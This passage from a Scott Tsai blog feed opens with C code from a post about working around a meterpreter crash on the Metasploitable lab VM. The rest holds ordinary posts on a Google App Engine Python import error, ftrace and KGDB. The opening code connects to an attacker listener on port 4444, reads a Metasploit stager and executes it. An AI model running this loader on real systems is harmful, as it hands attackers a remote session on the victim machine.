class="n"&gt;BUFSIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;LPORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;STAGER_SIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;sockfd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr_in&lt;/span&gt; &lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;BUFSIZE&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;sockfd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s"&gt;&amp;quot;socket failed: &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strerror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class="n"&gt;bzero&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_family&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;s_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inet_addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LHOST&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;br /&gt; &lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;htons&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LPORT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sockfd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serveraddr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;br /&gt;  &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s"&gt;&amp;quot;connect failed: &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strerror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sockfd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;STAGER_SIZE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span class="n"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s"&gt;&amp;quot;read failed: &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strerror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span class="cm"&gt;/* The linux/x86/meterpreter &amp;#39;stager&amp;#39; payload requires &amp;#39;sockfd&amp;#39; to be in edi.&lt;/span&gt;&lt;br /&gt;&lt;span class="cm"&gt;   * We want to clobber edi and not have gcc restore it */&lt;/span&gt;&lt;br /&gt;  &lt;span class="n"&gt;__asm__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;movl %[sockfd],%%edi&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="cm"&gt;/* OUTPUT */&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="cm"&gt;/* INPUT */&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sockfd&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;r&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sockfd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="cm"&gt;/* CLOBBERS */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;br /&gt;  &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)();&lt;/span&gt;&lt;br /&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span class="cm"&gt;/* To disassemble the code, run &amp;#39;udcli&amp;#39; from udis86 on &amp;#39;stager&amp;#39; */&lt;/span&gt;&lt;br /&gt;  &lt;span class="kt"&gt;FILE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;stager&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;w&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;br /&gt;  &lt;span class="n"&gt;fwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;STAGER_SIZE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;br /&gt;  &lt;span class="n"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;br /&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-2720869637864143080?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/xO7YBVYx2iE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/2720869637864143080/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2011/04/metasploitable-meterpreter-segfault.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/2720869637864143080?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/2720869637864143080?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/xO7YBVYx2iE/metasploitable-meterpreter-segfault.html" title="Metasploitable meterpreter SEGFAULT workaround" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2011/04/metasploitable-meterpreter-segfault.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkQNQHszeyp7ImA9WxFTGEk.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-1829552965169234599</id><published>2010-04-10T05:18:00.003+08:00</published><updated>2010-04-10T05:26:31.583+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-10T05:26:31.583+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="google-app-engine" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Google App Engine SDK needs python &gt;= 2.6.4</title><content type="html">If you're getting "ImportError: No module named _multiprocessing" when using the Google App Engine SDK: &lt;pre&gt;&lt;br /&gt;$ ./google-appengine-sdk/dev_appserver.py --debug itrs-test&lt;br /&gt;/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/appcfg.py:41: DeprecationWarning: the sha module is deprecated; use the hashlib module instead&lt;br /&gt; import sha&lt;br /&gt;/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver_login.py:33: DeprecationWarning: the md5 module is deprecated; use hashlib instead&lt;br /&gt; import md5&lt;br /&gt;INFO     2010-04-09 21:08:33,956 appengine_rpc.py:159] Server: appengine.google.com&lt;br /&gt;Allow dev_appserver to check for updates on startup? (Y/n):&lt;br /&gt;dev_appserver will check for updates on startup.  To change this setting, edit /home/scottt/.appcfg_nag&lt;br /&gt;INFO     2010-04-09 21:08:37,314 appcfg.py:357] Checking for updates to the SDK.&lt;br /&gt;DEBUG    2010-04-09 21:08:37,317 appengine_rpc.py:345] Sending HTTP request:&lt;br /&gt;POST /api/updatecheck?release=1.3.2&amp;amp;timestamp=1266535890&amp;amp;api_versions=%5B%271%27%5D HTTPS/1.1&lt;br /&gt;Host: appengine.google.com&lt;br /&gt;X-appcfg-api-version: 1&lt;br /&gt;Content-type: application/octet-stream&lt;br /&gt;User-agent: appcfg_py/1.3.2 Linux/2.6.32.10-90.fc12.x86_64 Python/2.6.2.final.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;INFO     2010-04-09 21:08:38,355 appcfg.py:371] The SDK is up to date.&lt;br /&gt;WARNING  2010-04-09 21:08:38,355 datastore_file_stub.py:623] Could not read datastore data from /tmp/dev_appserver.datastore&lt;br /&gt;INFO     2010-04-09 21:08:38,458 dev_appserver_main.py:399] Running application itrs-test on port 8080: http://localhost:8080&lt;br /&gt;DEBUG    2010-04-09 21:08:47,801 dev_appserver.py:488] Matched "/" to CGI dispatcher with path hello.py&lt;br /&gt;DEBUG    2010-04-09 21:08:47,841 dev_appserver.py:1685] Could not import "_multiprocessing": Disallowed C-extension or built-in module&lt;br /&gt;ERROR    2010-04-09 21:08:47,846 dev_appserver.py:3225] Exception encountered handling request&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 3185, in _HandleRequest&lt;br /&gt;   self._Dispatch(dispatcher, self.rfile, outfile, env_dict)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 3128, in _Dispatch&lt;br /&gt;   base_env_dict=env_dict)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 515, in Dispatch&lt;br /&gt;   base_env_dict=base_env_dict)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 2387, in Dispatch&lt;br /&gt;   self._module_dict)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 2295, in ExecuteCGI&lt;br /&gt;   logging.debug('Executing CGI with env:\n%s', pprint.pformat(env))&lt;br /&gt; File "/usr/lib64/python2.6/logging/__init__.py", line 1459, in debug&lt;br /&gt;   root.debug(*((msg,)+args), **kwargs)&lt;br /&gt; File "/usr/lib64/python2.6/logging/__init__.py", line 1018, in debug&lt;br /&gt;   self._log(DEBUG, msg, args, **kwargs)&lt;br /&gt; File "/usr/lib64/python2.6/logging/__init__.py", line 1142, in _log&lt;br /&gt;   record = self.makeRecord(self.name, level, fn, lno, msg, args, exc_info, func, extra)&lt;br /&gt; File "/usr/lib64/python2.6/logging/__init__.py", line 1117, in makeRecord&lt;br /&gt;   rv = LogRecord(name, level, fn, lno, msg, args, exc_info, func)&lt;br /&gt; File "/usr/lib64/python2.6/logging/__init__.py", line 272, in __init__&lt;br /&gt;   from multiprocessing import current_process&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate&lt;br /&gt;   return func(self, *args, **kwargs)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1922, in load_module&lt;br /&gt;   return self.FindAndLoadModule(submodule, fullname, search_path)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate&lt;br /&gt;   return func(self, *args, **kwargs)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1824, in FindAndLoadModule&lt;br /&gt;   description)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1272, in Decorate&lt;br /&gt;   return func(self, *args, **kwargs)&lt;br /&gt; File "/home/scottt/work/google-appengine/google_appengine_1.3.2/google/appengine/tools/dev_appserver.py", line 1775, in LoadModuleRestricted&lt;br /&gt;   description)&lt;br /&gt; File "/usr/lib64/python2.6/multiprocessing/__init__.py", line 83, in &lt;module&gt;&lt;br /&gt;   import _multiprocessing&lt;br /&gt;ImportError: No module named _multiprocessing&lt;br /&gt;&lt;/module&gt;&lt;/pre&gt;&lt;br /&gt;Your options are: &lt;ol&gt;&lt;li&gt;Apply &lt;a href="http://svn.python.org/view/python/branches/release26-maint/Lib/logging/__init__.py?r1=75425&amp;amp;r2=75424&amp;amp;pathrev=75425"&gt;this patch&lt;/a&gt; by hand&lt;/li&gt;&lt;li&gt;Upgrade to python &gt;= 2.6.4&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt; See &lt;a href="http://bugs.python.org/issue7120"&gt;http://bugs.python.org/issue7120&lt;/a&gt; for the details.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-1829552965169234599?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/E6CTxLpXszU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/1829552965169234599/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2010/04/google-app-engine-needs-python-264.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/1829552965169234599?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/1829552965169234599?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/E6CTxLpXszU/google-app-engine-needs-python-264.html" title="Google App Engine SDK needs python &gt;= 2.6.4" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2010/04/google-app-engine-needs-python-264.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEQDQng5eip7ImA9WxBWGEo.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-1822028423170386848</id><published>2010-02-11T16:15:00.002+08:00</published><updated>2010-02-11T16:19:33.622+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-11T16:19:33.622+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ftrace" /><category scheme="http://www.blogger.com/atom/ns#" term="kernel" /><category scheme="http://www.blogger.com/atom/ns#" term="linux-tutorial" /><title>Ftrace Tutorials</title><content type="html">&lt;h2&gt;&lt;font size="4"&gt;LWN.net&amp;nbsp;&lt;/font&gt;Ftrace Articles by Steven Rostedt&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://lwn.net/Articles/365835/" id="dk4:" title="Debugging the kernel using Ftrace - part 1"&gt;Debugging the kernel using Ftrace - part 1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://lwn.net/Articles/365835/" id="w412" title="Debugging the kernel using Ftrace - part 1"&gt;&lt;/a&gt;&lt;a href="http://lwn.net/Articles/366796/" id="und4" title="Debugging the kernel using Ftrace - part 2"&gt;Debugging the kernel using Ftrace - part 2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://lwn.net/Articles/370423/" id="d384" title="Secrets of the Ftrace function tracer"&gt;Secrets of the Ftrace function tracer&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;&amp;nbsp;Ever wanted to see what functions are called in a running Linux kernel?&lt;div&gt;&amp;nbsp;&amp;nbsp;&lt;pre&gt;    [tracing]# &lt;b&gt;cd /sys/kernel/debug/tracing&lt;/b&gt;&lt;br /&gt;    [tracing]# &lt;b&gt;echo function_graph &amp;gt; current_tracer &lt;/b&gt;&lt;br /&gt;    [tracing]# &lt;b&gt;cat trace | head -20&lt;/b&gt;&lt;br /&gt;    # tracer: function_graph&lt;br /&gt;    #&lt;br /&gt;    # CPU  DURATION                  FUNCTION CALLS&lt;br /&gt;    # |     |   |                     |   |   |   |&lt;br /&gt;     1)   1.015 us    |        _spin_lock_irqsave();&lt;br /&gt;     1)   0.476 us    |        internal_add_timer();&lt;br /&gt;     1)   0.423 us    |        wake_up_idle_cpu();&lt;br /&gt;     1)   0.461 us    |        _spin_unlock_irqrestore();&lt;br /&gt;     1)   4.770 us    |      }&lt;br /&gt;     1)   5.725 us    |    }&lt;br /&gt;     1)   0.450 us    |    mutex_unlock();&lt;br /&gt;     1) + 24.243 us   |  }&lt;br /&gt;     1)   0.483 us    |  _spin_lock_irq();&lt;br /&gt;     1)   0.517 us    |  _spin_unlock_irq();&lt;br /&gt;     1)               |  prepare_to_wait() {&lt;br /&gt;     1)   0.468 us    |    _spin_lock_irqsave();&lt;br /&gt;     1)   0.502 us    |    _spin_unlock_irqrestore();&lt;br /&gt;     1)   2.411 us    |  }&lt;br /&gt;     1)   0.449 us    |  kthread_should_stop();&lt;br /&gt;     1)               |  schedule() {&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-1822028423170386848?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/UlkS0M2rQpc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/1822028423170386848/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2010/02/ftrace.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/1822028423170386848?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/1822028423170386848?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/UlkS0M2rQpc/ftrace.html" title="Ftrace Tutorials" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2010/02/ftrace.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcFQH4yfSp7ImA9WxBXEUo.&quot;"><id>tag:blogger.com,1999:blog-8159065303739257757.post-5807747987356086343</id><published>2010-01-22T22:12:00.005+08:00</published><updated>2010-01-22T22:20:11.095+08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-22T22:20:11.095+08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="qemu" /><category scheme="http://www.blogger.com/atom/ns#" term="kernel" /><category scheme="http://www.blogger.com/atom/ns#" term="gdb" /><category scheme="http://www.blogger.com/atom/ns#" term="linux-tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="kgdb" /><title>KGDB Tutorial</title><content type="html">&lt;h1&gt;&lt;a href="http://docs.google.com/View?id=ah8ht9jfffdk_403c9xj4dcv"&gt;KGDB Tutorial&lt;/a&gt;&lt;/h1&gt;&lt;h2&gt;Building a Kernel that supports KGDB&lt;/h2&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Upstrteam documentation: &amp;nbsp;&lt;span style="font-family: serif;"&gt;&lt;a id="s8ev" href="http://www.kernel.org/doc/htmldocs/kgdb.html" title="Using kgdb and the kgdb Internals"&gt;Using kgdb and the kgdb Internals&lt;/a&gt;&lt;div&gt;&lt;div class="authorgroup"&gt;&lt;div class="author"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Set&amp;nbsp;&lt;b&gt;CONFIG_KGDB=y&lt;/b&gt; in your kernel .config (&lt;a id="nkvw" href="http://lxr.linux.no/linux+v2.6.32/lib/Kconfig.kgdb" title="linux-2.6/lib/Kconfig.kgdb"&gt;linux-2.6/lib/Kconfig.kgdb&lt;/a&gt;):&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;blockquote class="webkit-indent-blockquote" style="border: medium none ; margin: 0pt 0pt 0pt 40px;"&gt;&lt;div&gt;menuconfig KGDB&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;bool "KGDB: kernel debugging with remote gdb"&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;depends on HAVE_ARCH_KGDB&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;depends on DEBUG_KERNEL &amp;amp;&amp;amp; EXPERIMENTAL&lt;/div&gt;&lt;div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;help&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;If you say Y here, it will be possible to remotely debug the&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;kernel using gdb. 